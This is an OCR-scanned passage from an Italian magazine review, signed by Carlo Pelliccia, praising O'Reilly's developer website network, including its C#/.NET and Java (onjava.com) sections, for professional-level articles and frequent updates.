ne di O'Reilly. Nuovi a C# e .NET? La 
neonata sezione del network contiene le 
risposte che fanno per voi. Una delle 
sezioni più conosciute, stimate e seguite 
è quella dedicata a Java, accessibile an- 
che dall'URL alternativo http:/ /www 
.onjava.com/ . Onjava si presenta ricca di 



Stesso discorso per ogni altra parte del 
network. Innegabilmente, il sito si rivol- 
ge agli sviluppatori che hanno già colle- 
zionato una certa dose di esperienza nei 
settori di loro interesse, giacché gli argo- 
menti trattati riguardano sempre tema- 
tiche avanzate ed emergenti. Anche 
quando si trattano gli elementi di base 
di una nuova tecnologia, il target mira- 
to resta comunque di un certo spessore 
professionale. Insomma, nel network di 
O'Reilly non troverete l'ABC della pro- 
grammazione, ma presumibilmente tro- 
verete tutto il resto. In definitiva, il 
network di O'Reilly è una risorsa che 
qualunque programmatore dovrebbe 
conoscere: la buona qualità degli artico- 
li non può essere messa in discussione, 
il layout del sito è semplice ed intuitivo, 
gli aggiornamenti sono molto frequenti 
e tutto il network ha aspetto e contenu- 
ti di livello professionale. 

Carlo Pelliccia 
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